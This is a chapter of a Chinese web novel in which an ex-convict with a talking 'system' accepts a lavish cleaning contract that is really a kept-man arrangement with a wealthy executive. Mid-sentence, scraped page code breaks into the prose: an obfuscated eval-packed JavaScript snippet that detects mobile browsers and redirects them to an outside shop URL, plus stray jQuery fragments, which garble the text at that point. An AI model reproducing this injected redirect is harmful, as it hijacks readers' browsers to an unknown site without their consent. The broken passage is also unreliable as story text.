1
前台昨天熬了个大夜,整个人都昏昏沉沉,只能强撑着精神。
她的头越垂越低,忽然,钱氏集团门口响起一道刹车声,不知道什么时候打起盹的前台浑身一激灵,立马睁开眼睛。
只见正前方的门口停着一辆机车,一个穿着加绒夹克、牛仔裤和马丁靴的男人迈开长腿走了进来。
远远的就看到取下头盔的男人露出一头微卷的头发,还没走近,就看到男人脸上自带的三分笑意。
前台立即恢复精神,职业化的微笑多了几分真心实意。
赵一白咬着指尖脱下手套。
“你好,我找你们钱总。”
前台眼睛亮亮地看着眼前的帅哥,柔声问:“请问有预约吗~”
赵一白从口袋里夹出一张名片。
前台面露惊讶:“请您稍等~”
她转头打了个电话,抬眼看向前方的帅哥,对上她的眼神,帅哥还对着她笑了一下。
“嗯,拿的是钱总的名片。”
赵一白抬头看着周围的环境,不禁感叹钱氏果然财大气粗,大集团就是气派。
没一会儿,一个穿着正装的女士从电梯口走了过来,低跟鞋踩在光滑的地板上发出清脆的响声。
“你好,我是Addy。”
赵一白转过头,握上女人的手。
“你好,赵一白。”
“赵先生,请跟我来。”
赵一白抬脚跟了上去。
电梯一直上到二十层,打开门,外面的空间简洁又宽敞。
走在前面的Addy打开一间会客室的门,转头说:“钱总还在开会,请赵先生稍等片刻。”
赵一白坐在沙发上,一杯热茶送了进来,Addy什么也没说,送完茶就礼貌地退了出去。
这里的人也和钱氏集团给人的感觉一样。
——简洁干脆。
赵一白抿了口茶,眼眸微亮。
他还是第一次喝茶喝出清透回甘的味道。
“可惜啊。”
9990没有发问,但这并不妨碍赵一白说给它听。
“我还是顿悟的太晚了,少吃了几年青春饭。”
9990:【……】
——
看到钱柏津走出会议室,Addy走过去说:“钱总,有位姓赵的客人在会客室等你。”
“让他等着。”
钱柏津冷声开口,头也不回地走进办公室。
看情况,这场会议开的并不顺利。
Addy不再上前说话。
就这样一直忙到十一点半,钱柏津合上笔帽,一旁的金助理连忙拿好文件。
钱柏津淡声问:“他还在吗。”
听到这句话,金助理愣了一下才想明白问的是谁。
“我问一下。”
打完电话,他眼神怪异地说:“还在。”
钱柏津起身走了出去。
会客室是全透明的玻璃门,还没走到门口就看到桌上的茶杯,却没看到等在里面的人。
钱柏津斜眼看向金助理。
“确实在。”金助理小声开口,打开了会客室的门。
走进去一看,才知道人确实在,此刻正躺在沙发上睡得正香。
钱柏津居高临下地看着沙发上的人,有种果然如此的荒唐感。
这个保洁做出什么事,他都不觉得奇怪了。
Addy敲了敲门,将一份资料递给金助理。
看到里面的内容,金助理脸色微变,将资料交到钱柏津的手上。
钱柏津垂眸看了一眼,脸色丝毫未变。
“起来。”他一脚踢上沙发。
看到钱柏津的动作,金助理眼里闪过一丝惊讶。
赵一白睁开双眼,不紧不慢地伸了个懒腰,转头看到钱柏津,他嘴角含笑,搬了张椅子坐在办公桌的对面。
他一只手撑着下巴,笑脸盈盈,看不出睡眼惺忪,也看不出任何的拘谨。
钱柏津坐姿端庄,摊开桌上的资料,冷淡出声。
“你有案底。”
轰的一下,金助理的大脑皮层瞬间展开。
就这么说出来了。
直接的吓人。
听到这句话,赵一白脸上并没有什么波动,反而笑了一声。
“对。”
他靠上椅子,眼睛依旧看着钱柏津。
“以前年轻不懂事,坐过一年牢。”
说出来了。
还如此轻描淡写。
金助理的头皮展开到了极致,有种升华的清透感。
此刻的9990与金助理有同样的感受。
谁会觉得,这是一个金主准备包.养小白脸的场面。
钱柏津垂眸看了眼资料上的信息,上面写的是过失伤人,入狱那年还不足十八岁。
对面盯着他的眼神放肆又坦然,不由得让钱柏津想起那天晚上在205的事,心里顿时涌出些不快。
他合上桌上的资料,看向赵一白问:“怎么不懂事。”
金助理看了眼坐在椅子上神态不变的钱柏津,又看向对面依旧面带笑意的年轻人。
这个场面着实有些诡异。
金助理从未想过有一天会帮自己的上司拟包.养合同,更没想过拟的第一份合同就是一个有案底的人。
还是个未成年罪犯。
不愧是他的上司。
金助理莫名挺起了胸口。
赵一白直视着钱柏津的双眼,他从那双眼里看不出变化,仿佛问这些问题不过是签合同的例行询问。
他坐的并不端正,歪着身体,用追忆往昔的语气说:“这就要从我悲惨的原生家庭开始说起了。”
接着,在场的人听了一个父母离婚,抛弃亲生孩子各自成家,后来年迈的奶奶重病,坚韧勇敢的少年无法支付医药费,只能去向亲生父亲索要,却与异父异母的弟弟发生冲突,最终导致对方左眼永久失明,而亲生父亲不愿出具谅解书,最后在学校老师的说情与酌情考量下才判处一年有期徒刑的故事。
说完,赵一白脸上也看不出一丝一毫的悲惨,甚至眼神平淡,脸上还带着笑。
金助理也算见过不少人,却看不懂眼前的青年。
“我在监狱里学到了很多东西,出来之后也搬过砖,洗过碗,端过盘子修过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635149|206541||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
车,虽然都干的不长,但每一个老板都夸赞我是个可造之材。”
赵一白仰起头,像模像样地发出一声叹息。
不止如此,他还干过催债等充满技术含量的工作,可谓是社会经验丰富。
他在心里嗤笑一声。
迎着对面的眼神,他将手放上桌面,身体前倾,直勾勾地看过去。
“老板,你放心,我活很好的。”
现场立马陷入死一般的寂静。
钱柏津眼眸黝黑,眼睫飞快地颤动了一下。
过了片刻,钱柏津向后抬起手,金助理愣了一会儿,手忙脚乱的把夹在文件里的合同递过去。
他第一次失了方寸,差点冒出一身汗。
钱柏津把合同推过去。
“试用期月薪十万,一个月后转正,月薪二十万,购买六险一金,超过半年奖金百万,而你的工作内容就是负责别墅的打扫,除此之外,还需要随叫随到,不能拒绝我的任何要求,外出必须报备,需要得到我的准许,最后一切解释权归我所有。”
钱柏津盯着赵一白的眼睛:“你能做到吗。”
赵一白看着合同上的内容,挑了挑眉。
上面写明如有出格要求,以实际情况加钱。
之后的每一条附加条件也都是如此,写得清清楚楚。
就是加钱。
加钱!
加钱!
他懂。
白天当保洁,晚上**
玩的还挺花。
他在心里哼了一声。
他这具年轻力壮的身体终究还是守不住了。
见他没有回答,钱柏津眼睫微垂,坐了回去。
不可否认,昨天递出名片的行为确实很冲动。
但钱柏津不是个会因冲动而后悔的人。
“老板,你只说了半年,一年、两年呢。”赵一白突然问。
钱柏津神情微顿,抬起眼与赵一白四目相对。
片刻之后,他移开视线。
“你能坚持到那天再说吧。”
赵一白笑道:“放心,我很有职业精神。”
钱柏津本不欲答话,听到这句,看向他脱口而出道:“就像你当保洁那样?”
赵一白眨了眨眼,随即笑出了声。
说完,钱柏津自己先皱起了眉。
赵一白笑容更深。
——
【宿主,你就这么把自己卖了?】
“话不要说这么难听。”
9990气呼呼地说:【你都被包.养了!】
赵一白啧了一声:“这怎么能叫包.养。”
【不叫包.养叫什么!】
“扶贫。”
赵一白拿出卡,在上面亲了一口。
9990:【……】
气死了。
今天晚上赵一白就要搬进钱柏津的私人别墅。
他懂。
皇宫里选秀成功的秀女第一天都要去侍寝。
更何况现在后宫还只有他一个。
就是不知道老板受不受得了。
他轻轻一笑。
毕竟,他是个讨厌鬼。